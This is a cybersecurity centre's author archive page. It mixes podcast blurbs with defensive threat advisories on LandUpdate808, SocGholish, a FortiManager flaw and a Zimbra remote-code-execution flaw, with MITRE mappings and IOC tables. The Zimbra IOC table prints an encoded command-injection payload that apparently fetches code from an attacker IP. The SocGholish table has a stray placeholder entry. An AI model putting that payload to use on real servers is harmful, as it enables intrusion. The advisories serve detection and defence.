Sarina

About Sarina Gandy

This author has not yet filled in any details.
So far Sarina Gandy has created 117 blog entries.

Growth, Gratitude, and Goals: A Do We Belong Here Holiday Special

Growth, Gratitude, and Goals: A Do We Belong Here Holiday Special

Happy Holidays from the Do We Belong Here family! 💛 As we close out 2024, we’re taking a moment to pause, reflect, and connect on a deeper level. In this bonus episode, Tashya, Pam, and Sarina open up about the personal and professional growth they’ve experienced this year, sharing lessons learned, challenges faced, and reasons to be grateful. To our incredible listeners: thank you for being part of this journey. Your support means everything, and we can’t wait to return in 2025 with more stories, insights, and proof that we do belong here in the cyber world.

Stream the Do We Belong Here documentary: https://www.youtube.com/watch?v=aWZhknfuVlQ&t=757s

2024-12-17T11:02:25-05:00December 20, 2024|
Read More

LandUpdate808

I. Targeted Entities

  • Internet users

II. Introduction

LandUpdate808 is a malicious downloader that distributes malicious payloads disguised as fake browser updates. The downloader is usually hosted on malicious or compromised websites. LandUpdate808 was identified by the Center for Internet Security as a top ten observed malware in quarter three of 2024, landing as the second most prominent identified malware.

III. Additional Background Information

LandUpdate808 redirects website visitors to first download the loader for the fake update content. The redirect also adds a cookie to the targeted user which has been observed with the naming conventions “isDone” or “isVisited11”. The cookie’s value is set to true after the operation is successful. The cookie has an expiration date of four days and will cause the malware to skip over the previous steps if the cookie is detected. The fake update page is disguised as an out-of-date Chrome notification with a blue download button labeled “Update Chrome”. When clicked, the button will link to an “update.php” file. The payload has been observed as a JS, EXE, and MSIX file that changes file type frequently. Recent reporting has identified multiple domains being tied to the same IP address, a potential indicator that the LandUpdate808 operation is expanding operations.

IV. MITRE ATT&CK

  • T1592 – Gather Victim Host Information
    • Using the function getOS located in the request for the page loader, LandUpdate808 gathers basic host information such as IP address and operating system.
  • T1584 – Compromise Infrastructure
    • LandUpdate808 uses compromised domains as part of the malware’s delivery chain.
  • T1608 – Stage Capabilities
    • LandUpdate808 stages web resources that act as link targets in the delivery chain.
  • T1204 – User Execution
    • LandUpdate808 relies on the user to click on the fake Chrome update to download and execute the desired payload onto the system.

V. Recommendations

We recommend monitoring your network for the following indicators of compromise to identify if users have been potentially compromised by LandUpdate808 and the related payloads.

VI. IOCs (Indicators of Compromise)

Type Indicator
Domains – Malicious Payloads

netzwerkreklame[.]de
Domains – Malicious Payloads

digimind[.]nl
Domains – Malicious Payloads

monlamdesigns[.]com
Domains – Malicious Payloads sustaincharlotte[.]org
Domains – Malicious Payloads chicklitplus[.]com
Domains – Malicious Payloads espumadesign[.]com
Domains – Malicious Payloads owloween[.]com
Domains – Malicious Payloads Wildwoodpress[.]org
Domains – Malicious Payloads napcis[.]org
Domains – Malicious Payloads sunkissedindecember[.]com
Domains – Malicious Payloads rm-arquisign[.]com
Domains – Fake Update Page Code kongtuke[.]com
Domains – Fake Update Page Code uhsee[.]com
Domains – Fake Update Page Code  zoomzle[.]com
Domains – Fake Update Page Code elamoto[.]com
Domains – Fake Update Page Code ashleypuerner[.]com
Domains – Fake Update Page Code edveha[.]com
Domains – Initiated Requests for Content razzball[.]com
Domains – Initiated Requests for Content monitor[.]icef[.]com
Domains – Initiated Requests for Content careers-advice-online[.]com
Domains – Initiated Requests for Content ecowas[.]int
Domains – Initiated Requests for Content sixpoint[.]com
Domains – Initiated Requests for Content eco-bio-systems[.]de
Domains – Initiated Requests for Content evolverangesolutions[.]com
Domains – Initiated Requests for Content natlife[.]de
Domains – Initiated Requests for Content sunkissedindecember[.]com
Domains – Initiated Requests for Content fajardo[.]inter[.]edu
Domains – Initiated Requests for Content fup[.]edu[.]co
Domains – Initiated Requests for Content lauren-nelson[.]com
Domains – Initiated Requests for Content netzwerkreklame[.]de
Domains – Initiated Requests for Content digimind[.]nl
Domains – Initiated Requests for Content itslife[.]in
Domains – Initiated Requests for Content ecohortum[.]com
Domains – Initiated Requests for Content thecreativemom[.]com
Domains – Initiated Requests for Content backalleybikerepair[.]com
Domains – Initiated Requests for Content mocanyc[.]org

VII. References

Samala, A. (2024b, October 15). New Behavior for LandUpdate808 Observed. Malasada Tech. https://malasada.tech/new-behavior-for-landupdate808-observed/

Samala, A. (2024a, July 2). The LandUpdate808 Fake Update Variant. Malasada Tech. https://malasada.tech/the-landupdate808-fake-update-variant/

Threat Advisory created by The Cyber Florida Security Operations Center. Contributing Security Analysts: Benjamin Price

2024-12-03T13:25:35-05:00December 3, 2024|
Read More

SocGholish Holds Top Spot as Leading Malware in Q3 2024

I. Targeted Entities

  • Fortune 500 Companies
  • Government Agencies

II. Introduction

According to The Multi-State Information Sharing and Analysis Center’s (MS-ISAC) monitoring services, SocGholish has retained its position as the most prevalent malware in Q3 2024, accounting for 42% of observed infections. SocGholish is a JavaScript-based downloader that spreads primarily through malicious or compromised websites that present fake browser update prompts to users. Once deployed, SocGholish infections can facilitate further exploitation by delivering additional malicious payloads.

III. Additional Background Information

SocGholish, also known as “FakeUpdates,” has emerged as the leading malware in Q3 2024. This malware has been active since 2018 and operates as a JavaScript-based downloader that exploits drive-by-download techniques to gain initial access. SocGholish primarily spreads through compromised websites, which present fake browser or software update prompts to unsuspecting users. When users download and run the updates, they execute a malicious payload that establishes communication with SocGholish’s command-and-control (C2) infrastructure.

The malware typically delivers its payload via direct download of JavaScript files or, less frequently, within obfuscated ZIP archives to evade detection. The attackers have continued to adapt, using techniques such as homoglyphs in filenames to bypass string-based detection methods. Once deployed, SocGholish conducts reconnaissance on infected systems, identifying users, endpoints, and potentially critical assets such as Active Directory domains. In about 10% of cases, the malware escalates to delivering second-stage payloads, including remote access tools (RATs) like Mythic, replacing previously popular choices like NetSupport.

SocGholish serves as an initial access broker, facilitating further exploitation by delivering additional malware, including ransomware variants such as LockBit and WastedLocker. Its activities are often precursors to larger attacks, making it a critical threat to monitor. Infections may involve domain trust enumeration and script-based data exfiltration, primarily executed in memory, complicating detection efforts. Organizations are advised to implement preventive measures, such as disabling automatic JavaScript execution, monitoring for unusual script activity, and swiftly isolating infected hosts to mitigate the impact of potential intrusions.

IV. MITRE ATT&CK

  • T1059.007 – Command and Scripting Interpreter: JavaScript
    SocGholish payload is executed as JavaScript, aiding in bypassing executable-based detections.
  • T1074.001 – Data Staged: Local Data Staging
    Sends output from whoami to a local temp file (e.g., rad<5-hex-chars>.tmp) for staging prior to exfiltration.
  • T1482 – Domain Trust Discovery
    Profiles compromised systems to identify domain trust relationships for lateral movement.
  • T1189 – Drive-by Compromise
    Distributed through compromised websites with fake update prompts, using drive-by-download techniques.
  • T1048.003 – Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol
    Exfiltrates data via HTTP directly to the C2 domain to avoid encrypted channels.
  • T1105 – Ingress Tool Transfer
    Downloads additional malware to infected hosts to deepen compromise and persistence.
  • T1036.005 – Masquerading: Match Legitimate Name or Location
    Disguises itself as legitimate files like AutoUpdater.js to mimic real software updates.
  • T1027.013 – Obfuscated Files or Information: Encrypted/Encoded File
    Uses ZIP compression and Base-64 encoding to obfuscate JavaScript payloads and URLs.
  • T1566.002 – Phishing: Spearphishing Link
    Distributed via spear-phishing emails with links leading to compromised websites.
  • T1057 – Process Discovery
    Lists processes on targeted hosts to understand the environment.
  • T1518 – Software Discovery
    Identifies the victim’s browser to deliver the appropriate fake update page.
  • T1082 – System Information Discovery
    Collects system details, such as computer name, for context-specific targeting.
  • T1614 – System Location Discovery
    Uses IP-based geolocation to focus infections on North America, Europe, and parts of the Asia-Pacific region.
  • T1016 – System Network Configuration Discovery
    Enumerates domain name and Active Directory membership for potential privilege escalation.
  • T1033 – System Owner/User Discovery
    Uses whoami to obtain username information from compromised hosts.
  • T1204.001 – User Execution: Malicious Link
    Lures users into interacting with malicious links on compromised websites, triggering the malware.
  • T1102 – Web Service
    Uses Amazon Web Services to host second-stage servers, leveraging legitimate infrastructure.
  • T1047 – Windows Management Instrumentation (WMI)
    Employs WMI for script execution and system profiling to gather information stealthily.

V. Immediate Recommendations

  • Endpoint Detection and Response – Deploy EDR solutions to monitor and detect unusual behavior indicative of SocGholish activity, such as unexpected script execution or unauthorized C2 communications.
  • Restrict JavaScript Execution – Disable the execution of JavaScript on websites which are untrusted.
  • Regular Vulnerability Patching – Patch browsers, plugins, and other software regularly to reduce the risk of drive-by-download attacks.
  • Browser Hardening – Enforce browser settings to block pop-ups and auto-downloads from untrusted sources.
  • Anomalous Traffic Detection – Use network monitoring tools to detect and alert on unusual HTTP traffic patterns that may indicate SocGholish communication.
  • User Awareness Training – Regularly train employees on the risks of fake browser update prompts and how to identify phishing attempts.
  • Incident Response Plan (IRP) – Develop and test an incident response plan specifically addressing SocGholish-related threats, ensuring it includes steps for rapid isolation and containment.

VI. IOCs (Indicators of Compromise)

Type Indicator
IP

83[.]69[.]236[.]128
IP

88[.]119[.]169[.]108
IP

91[.]121[.]240[.]104
IP 185[.]158[.]251[.]240
IP 185[.]196[.]9[.]156
IP 193[.]233[.]140[.]136
IP 31.184.254[.]115
Domain aitcaid[.]com
Domain 0qsc137p[@]justdefinition.com 
Domain advancedsportsandspine[.]com
Domain automotivemuseumguide[.]com
Domain brow-ser-update[.]top
Domain circle[.]innovativecsportal[.]com
Domain  marvin-occentus[.]net
Domain photoshop-adobe[.]shop
Domain pluralism[.]themancav[.]com
Domain scada.paradizeconstruction[.]com
Domain storefixturesandsupplies[.]com
Domain 1sale[.]com
Domain taxes.rpacx[.]com
Domain *.signing.unitynotarypublic[.]com
Domain *.asset.tradingvein[.]xyz
Domain Column 2 Value 23
Domain change-land[.]com

VI. Additional OSINT Information

SocGholish operates as a JavaScript-based malware loader that initially infects victims through compromised websites, presenting them with fake browser or software update prompts. Once users click to “update,” the malware executes a JavaScript payload, connecting back to the attacker’s command and control (C2) server to deliver additional payloads.

Image 1 of SocGholish Payload Delivery

Image 2 of SocGholish Payload Delivery

Image 3 of SocGholish Payload Delivery via Fake Google Alerts

Payload details:

  • Primary Payload: The initial JavaScript script collects system and user information, which it sends back to the C2 server, enabling the attacker to assess the target for further exploitation. This reconnaissance phase helps the malware operators determine the value of the target and the appropriate secondary payloads to deploy.
  • Secondary Payloads: SocGholish is known to deploy additional malware based on the information gathered. Historically, it used the NetSupport RAT for remote access but has evolved to favor other tools. Since 2022, SocGholish shifted its preference to more advanced payloads, including:
  • Cobalt Strike: This well-known post-exploitation tool allows attackers to conduct further reconnaissance, privilege escalation, and lateral movement within networks. However, recent reports show a transition to using Mythic, an alternative to Cobalt Strike.
  • Mythic: A versatile open-source command and control framework used for post-compromise operations, allowing attackers to load additional modules and control infected systems stealthily.
  • Reconnaissance and Lateral Movement: The secondary payload often includes commands for system discovery and Active Directory enumeration. Common tools used in this phase include nltest.exe for domain trust discovery and whoami for privilege reconnaissance.
  • Ransomware Associations: SocGholish has acted as an initial access broker, facilitating access for ransomware groups such as LockBit and WastedLocker. This handoff process enables ransomware operators to capitalize on SocGholish’s infiltration to execute ransom demands or further network disruption.

By delivering these targeted payloads, SocGholish operators can gain persistent access, conduct extensive reconnaissance, and potentially disrupt critical systems. These payloads make SocGholish not only a potent malware threat but also a significant enabler of larger ransomware and espionage campaigns across various industries.

VII. References

The Center for Internet Security, Inc (October 23, 2024) Top 10 Malware Q3 2024 https://www.cisecurity.org/insights/blog/top-10-malware-q3-2024

Red Canary (2024) SocGholish https://redcanary.com/threat-detection-report/threats/socgholish/

MITRE ATT&CK (March 22, 2024) SocGholish https://attack.mitre.org/software/S1124/

Blackpoint Cyber (June 21, 2024) AsyncRAT, NetSupport RAT, and VssAdmin Abuse for Shadow Copy Deletion https://blackpointcyber.com/resources/blog/asyncrat-netsupportrat-vssadmin-abuse-for-shadow-copy-deletion-soc-incidents-blackpoint-apg/

Proofpoint (November 22, 2022) Part 1: SocGholish, a very real threat from a very fake update https://www.proofpoint.com/us/blog/threat-insight/part-1-socgholish-very-real-threat-very-fake-update

ReliaQuest (January 30, 2023) SocGholish: A Tale of FakeUpdates https://www.reliaquest.com/blog/socgholish-fakeupdates/

Threat Advisory created by The Cyber Florida Security Operations Center. Contributing Security Analysts: Yousef Blassy, Uday Bilakhiya, Thiago Pagliaroni, and Kayla Walker.

2024-11-25T10:41:29-05:00November 25, 2024|
Read More

Critical Vulnerability in Fortinet FortiManager Under Active Exploitation

I. Targeted Entities

  • Fortinet FortiManager Customer
  • Managed Service Providers

II. Introduction

A critical vulnerability has been identified in Fortinet’s FortiManager platform, a centralized management solution for Fortinet security products. This vulnerability, tracked as CVE-2024-47575, allows for remote code execution (RCE) by unauthorized attackers. The exploitation of this vulnerability is currently active in the wild, posing a significant threat to affected organizations. If successfully exploited, attackers could gain access to critical systems, install malicious programs, and manipulate sensitive data. Fortinet and the U.S. Cybersecurity and Infrastructure Security Agency (CISA) have issued advisories urging organizations to take immediate action by applying the latest patches to mitigate risks.

FortiManager is widely deployed across sectors, including government, telecommunications, financial services, and healthcare, making this vulnerability particularly concerning. Given the increasing sophistication of cyberattacks, unpatched systems present a high risk, allowing attackers to potentially escalate privileges and compromise network infrastructures.

III. Additional Background Information

In October 2024, a critical vulnerability was discovered in Fortinet’s FortiManager, a network management solution widely used to centrally configure and monitor Fortinet devices. This vulnerability, tracked as CVE-2024-47575, exploits a missing authentication mechanism in the fgfmd daemon, allowing attackers to execute arbitrary code remotely without valid credentials. Fortinet and CISA have confirmed that malicious actors are actively targeting both on-premises and cloud-based instances of FortiManager through specially crafted requests, leveraging this flaw to compromise network environments.

The exploit is aligned with tactics defined in the MITRE ATT&CK framework, specifically T1190 – Exploit Public-Facing Application, indicating that adversaries are using exposed FortiManager instances as initial access points. Once inside, attackers can install backdoors, modify security configurations, and delete or manipulate data, depending on the privileges of the compromised service accounts. Higher-privileged accounts can allow attackers to escalate their control leading to significant disruptions.

Previous incidents involving vulnerabilities in network appliances highlight the severity of such attacks. FortiManager’s broad adoption across multiple critical infrastructures and industries make it an attractive target. Unpatched instances are especially vulnerable to this exploit. Additionally, this vulnerability exposes connected Fortinet devices, allowing attackers to disable firewalls or VPNs and undermine network defenses.

Organizations are strongly advised to apply the latest patches immediately, perform vulnerability assessments, and monitor for indicators of compromise (IoC). Fortinet has released mitigation guidelines, emphasizing the importance of updating software, segmenting networks, and limiting administrative access to prevent further exploitation. Failure to act could result in severe operational disruptions and data breaches, particularly for critical infrastructure providers and enterprises that rely heavily on Fortinet’s security infrastructure.

IV. MITRE ATT&CK

  • T1190 – Exploit Public-Facing Application
    Attackers exploit the public-facing FortiManager application via a missing authentication flaw. This vulnerability allows unauthorized attackers to execute arbitrary code on FortiManager by sending specially crafted requests, gaining initial access to the system and enabling control over FortiGate devices connected to the network.
  • T1078 – Valid Accounts
    The threat actors leverage valid certificates on unauthorized FortiManager and FortiGate devices, allowing them to register these devices on exposed FortiManager instances. By mimicking legitimate access, the attackers avoid raising immediate security alerts and maintain a low profile for further exploitation and lateral movement within the network.
  • T1036 – Masquerading
    Attackers register rogue FortiManager devices under misleading names (e.g., “localhost”) and legitimate-seeming serial numbers (e.g., FMG-VMTM23017412). This technique helps obscure threat actor activity within FortiManager logs and console, allowing the attacker’s device to appear as if it is part of the legitimate infrastructure.
  • T1041 – Exfiltration Over C2 Channel
    Exfiltration of FortiManager and FortiGate configuration files occurs over encrypted Command and Control (C2) channels, leveraging HTTPS to avoid detection by security tools. The threat actor UNC5820 has been observed using specific IP addresses to exfiltrate compressed files containing sensitive configuration information, user credentials, and device data.
  • T1587.003 – Develop Capabilities: Digital Certificates
    Attackers leverage valid digital certificates on FortiManager and FortiGate devices to masquerade malicious activities as legitimate. With these certificates, unauthorized devices can connect to FortiManager, bypassing certain security configurations and enabling persistent access to compromised networks.
  • T1562.001 – Impair Defenses: Disable or Modify Tools
    Attackers modify FortiManager configuration to evade detection. By using commands such as fgfm-deny-unknown, attackers can prevent detection of unauthorized devices. This adjustment allows attackers to sustain their unauthorized access, mitigating the chances of detection during ongoing operations.
  • T1027 – Obfuscated Files or Information
    Attackers use gzip compression on the /tmp/.tm archive, which stores exfiltrated configuration data, to obfuscate and minimize visibility of extracted data. This technique reduces the file’s detection footprint, making it harder to identify during data exfiltration stages.
  • T1040 – Network Sniffing
    While not directly observed in this incident, the configuration data exfiltrated includes sensitive details like IPs and credentials. This could indicate an intention to use network sniffing techniques or other credential-monitoring tactics to further penetrate or maintain persistence in the target network.

V. Immediate Recommendations

  • Install Security Updates:
    • Fortinet has solved CVE-2024-47575 with fixes. To address the found security flaw and reduce the risk of active exploitation, organizations should give top priority to installing these updates on all FortiManager instances, including on-premises and cloud-based.
  • Monitor for Compromise Indicators (IoCs):
    • Check network traffic and system logs often for known IoCs linked to this attack, such as file paths, flagged IP addresses, MD5 hash values, and log entries that might point to exploitation (see to the IoCs section for references). To improve detection capabilities, incorporate these IoCs into your SIEM or IDS/IPS.
  • Establish an Incident Response Plan:
    • Create or revise an incident response plan that includes steps for handling FortiManager vulnerability exploitation. Make sure your reaction team is equipped and trained to deal with any possible Fortinet system breaches.
  • Isolate Compromised Systems:
    • Isolate compromised systems right away to stop additional access or harm if any indications of compromise are found. Notify the affected parties and carry out a comprehensive investigation, eliminating any malware or backdoors.

VI. IOCs (Indicators of Compromise)

Type Indicator
IP

45.32.41[.]202 
IP

195.85.114[.]78 
IP

104.238.141[.]143 
IP 158.247.199[.]37 
IP 45.32.63[.]2 
File /tmp/.tm 
File /var/tmp/.tm 
MD5 Hash of unreg_devices.txt  9DCFAB171580B52DEAE8703157012674 
Email address 0qsc137p[@]justdefinition.com 
Log Entry type=event,subtype=dvm,pri=information,desc=”Device,manager,generic,information,log”,user=”device,…“,msg=”Unregistered device localhost add succeeded” device=”localhost” adom=”FortiManager” session_id=0 operation=”Add device” performed_on=”localhost” changes=”Unregistered device localhost add succeeded” 
Log Entry type=event,subtype=dvm,pri=notice,desc=”Device,Manager,dvm,log,at,notice,level”,user=”System”,userfrom=”“,msg=”” adom=”root” session_id=0 operation=”Modify device” performed_on=”localhost” changes=”Edited device settings (SN FMG-VMTM23017412)” 
String revealing exploitation activity in /log/locallog/elog  msg=”Unregistered device localhost add succeeded” 
String revealing exploitation activity in /log/locallog/elog  changes=”Edited device settings (SN FMG-VMTM23017412)” 
String revealing exploitation activity in /log/locallog/elog  changes=”Added unregistered device to unregistered table. 

VII. References

The Channel CO, CRM (October 24, 2024) 5 Things To Know On The Fortinet FortiManager Attacks  https://www.crn.com/news/security/2024/5-things-to-know-on-the-fortinet-fortimanager-attacks
 

Bleeping Computer (October 23, 2024) Fortinet warns of new critical FortiManager flaw used in zero-day attacks
https://www.bleepingcomputer.com/news/security/fortinet-warns-of-new-critical-fortimanager-flaw-used-in-zero-day-attacks/ 

Google Cloud (October 23, 2024) Investigating FortiManager Zero-Day Exploitation (CVE-2024-47575) https://cloud.google.com/blog/topics/threat-intelligence/fortimanager-zero-day-exploitation-cve-2024-47575 

 New York State (October 23, 2024) A Vulnerability in Fortinet FortiManager Could Allow for Remote Code Execution https://its.ny.gov/2024-120 

 Bleeping Computer (October 24, 2024) Mandiant says new Fortinet flaw has been exploited since June https://www.bleepingcomputer.com/news/security/mandiant-says-new-fortinet-fortimanager-flaw-has-been-exploited-since-june/ 

 CVE (October 23, 2024) CVE-2024-47575 https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=CVE-2024-47575 

 Fortigaurd (October 17, 2024) Missing authentication in fgfmsd https://www.fortiguard.com/psirt/FG-IR-24-423 

 MS-ISAC (October 23, 2024) A Vulnerability in Fortinet FortiManager Could Allow for Remote Code Execution https://learn.cisecurity.org/webmail/799323/2307481671/eb748002d95238b2d31f1dc45b527f271478b2fb5b4d5ee93eb20f05d2825fce

Threat Advisory created by The Cyber Florida Security Operations Center. Contributing Security Analysts: Yousef Blassy, Uday Bilakhiya, Thiago Pagliaroni, and Kayla Walker. 

2024-11-12T12:00:23-05:00November 12, 2024|
Read More

Belonging in a Changing Cyber World: Community, Careers, and Resilience

Belonging in a Changing Cyber World: Community, Careers, and Resilience

In this episode of Do We Belong Here, Tashya Denose and Pam Lindemoen dive into the evolving landscape of the cyber industry over the past several years. They discuss the impact of the global pandemic on remote work and the shifts that have followed, the ongoing challenges between job openings and the availability of qualified candidates, and the potential long-term effects on the future of the industry and its professionals. They also share personal updates from the past few months, reminding us that with community and good friends, we always have a place where we belong.

Stream the Do We Belong Here documentary on YouTube: https://www.youtube.com/@cybersecurityfl

Follow us on social media: @DoWeBelongPod

2024-11-06T10:51:02-05:00November 7, 2024|
Read More

Zimbra Collaboration RCE Vulnerability

I. Targeted Entities

  • Small to Medium Government and Business Entities

II. Introduction

A critical remote code execution (RCE) vulnerability, tracked as CVE-2024-45519, has been discovered in Zimbra email servers, posing a significant threat to organizations relying on the platform. The vulnerability resides in Zimbra’s postjournal service, which processes incoming emails over SMTP. This vulnerability allows attackers to compromise servers by sending specially crafted emails that trigger arbitrary command execution through the server’s CC field. Once exploited, the vulnerability can be used to install web shells, providing attackers full access to the compromised server and enabling further network infiltration.

III. Additional Background Information

Zimbra Collaboration, a widely used cloud-hosted platform for email and communication services, has become a prime target for cyberattacks due to its prevalence in corporate and government environments. In September 2024, a critical vulnerability, CVE-2024-45519, was uncovered in Zimbra’s postjournal service. This flaw, caused by improper input validation, allows remote attackers to execute arbitrary commands without authentication. The vulnerability has gained increased attention following the release of a proof-of-concept (PoC) exploit, significantly raising the risk of widespread exploitation. Given Zimbra’s importance across various sectors, the exposure of this vulnerability poses a serious threat to affected systems, making it a key concern in the current cybersecurity landscape.

IV. MITRE ATT&CK

  • T1190 – Exploit Public-Facing Application
    • The attackers exploit a vulnerability in the Zimbra Collaboration Suite, a public-facing application, by sending specially crafted emails that trigger command execution on the server.
  • T1505.003 – Server Software Component: Web Shell
    • The attackers create a web shell on the compromised server by concatenating base64-encoded commands from the CC field of the emails, allowing persistent remote access.
  • T1059.004 – Command and Scripting Interpreter: Unix Shell
    • The attackers execute shell commands on the server by exploiting the input validation flaw, enabling them to control the system via the web shell.
  • T1071.001 – Application Layer Protocol: Web Protocols
    • The attackers use HTTP requests with specially crafted cookies (JSESSIONID and JACTION) to communicate with the web shell, establishing a command-and-control channel.
  • T1105 – Ingress Tool Transfer
    • Through the web shell, the attackers download and execute additional malicious code or files onto the compromised server.
  • T1132.001 – Data Encoding: Standard Encoding
    • The attackers use base64 encoding to encode malicious commands and payloads within the email CC fields and cookies to obfuscate the data and evade detection.
  • T1036.005 – Masquerading: Match Legitimate Name or Location
    • The attackers send spoofed emails that appear to come from Gmail, leveraging trusted sources to bypass initial security checks.

V. Recommendations

  • Patch Management
    • Ensure that all Zimbra email server installations, including Zimbra 9.0.0 Patch-41, Zimbra 10.0.9, and Zimbra 10.1.1 (Daffodil), are updated with the latest patches addressing CVE-2024-45519. Systems still running Zimbra 8.8.15, which has received a one-time patch past its EOL, should be prioritized for patching. Regularly monitor for new security updates and apply them as soon as they are released.
  • Monitoring and Logging
    • Implement comprehensive monitoring and logging to detect suspicious activities targeting the Zimbra postjournal service. Focus on identifying unusual email patterns, base64-encoded commands, or abnormal execution of commands through the postjournal service. Regular log reviews can help catch early signs of exploitation.
  • Access Control
    • Properly configure Zimbra’s “mynetworks” parameter to restrict access to trusted IP ranges only. If the postjournal service is not required for your organization’s operations, consider disabling it to reduce the attack surface, especially in environments where patching may be delayed
  • Service Management
    • Ensure that optional services like postjournal, which is not enabled by default, remain disabled unless explicitly needed. On systems where postjournal is unnecessary, consider removing or disabling it entirely to minimize potential vulnerabilities.
  • Vendor Communication

    • Establish regular communication with Zimbra to stay informed about the latest security advisories, patches, and best practices. Regularly check the Zimbra Security Center and set up notifications to receive updates on new vulnerabilities and security patches promptly.

VI. IOCs (Indicators of Compromise)

Type Indicator
IP Address

79.124.49[.]86
Port

10027
Base64-encoded String

ppp’echo${IFS} Li4vLj4vY29tbW9uL2Jpbi 9jdXJsIGh0dHA6LY830S 4xMjQuNDkuODY6NDQZL 3RwdnRnYmp3ZWV2dnV vbWJ5d2xrdGhsbGpkdXB 4Znlz|base64$(IFS)-di [email protected]

VII. References

Dark Reading. (October 1, 2024). Zimbra RCE Vuln Under Attack Needs Immediate Patching. https://www.darkreading.com/cyberattacks-data-breaches/recent-zimbra-rce-under-attack-patch-now

BleepingComputer. (October 2, 2023). Critical Zimbra RCE flaw exploited to backdoor servers using emails. https://www.bleepingcomputer.com/news/security/critical-zimbra-rce-flaw-exploited-to-backdoor-servers-using-emails/

SOCRadar. (October 02, 2024). RCE Vulnerability in Zimbra (CVE-2024-45519). https://socradar.io/rce-vulnerability-in-zimbra-cve-2024-45519/

Threat Advisory created by The Cyber Florida Security Operations Center. Contributing Security Analysts: Yousef Blassy, Thiago Reis Pagliaroni, Benjamin Price

2024-10-28T11:58:24-04:00October 28, 2024|
Read More

Teaching Cybersecurity in a World of AI and Deep Fakes | Operation K12 Webinar

Join our Operation K12 team to explore Teaching Cybersecurity in a World of aI And Deep Fakes.

In this webinar, the University of Florida’s Dr. Nancy Ruzycki and Cyber Florida’s Operation K12 will explore how cyber teachers can bring in AI frameworks and tools in the cyber classroom.

This session will look at generative AI and deepfakes, and the role of cyber professionals in protecting consumers from misinformation.

Register to Join the Conversation:

2024-10-16T12:38:27-04:00October 16, 2024|
Read More

Mark Clancy

Vice President for Cybersecurity/CISO, Sprint, Inc.; Founder, Cyber Risk Management; former Managing Director for Technology Risk Management/CISO, Depository Trust and Clearing Corporation (DTCC).

2024-09-25T14:41:21-04:00September 25, 2024|
Read More

Christopher Day

VP Strategic Capabilities and Programs, Tenable. VP of Cognitive Cyber, ManTech, Member Defense Science Board, Chief Information Security Officer for Invincea, CTO for Packet Forensics, LLC and its subsidiaries; Senior Vice President, Secure Information Services for Terremark Worldwide, Inc.; and Vice President for SteelCloud. Co-founded The Asgard Group, and subsequently sold it to SteelCloud in 2004.

2024-09-25T14:42:47-04:00September 25, 2024|
Read More

CONTACT US

Cyber Florida at USF
4202 E. Fowler Avenue, ISA7020
Tampa, FL 33620

Office meetings by appointment only

PRIVACY POLICY

Copyright 2024 The Florida Center for Cybersecurity at the University of South Florida. Information on this website is made available for general educational purposes only and should not be used in lieu of obtaining competent legal advice from a licensed attorney or cybersecurity professional with sufficient expertise necessary to address your specific needs. Use of this website does not create any special or fiduciary relationship between you and the Florida Center for Cybersecurity or the University of South Florida.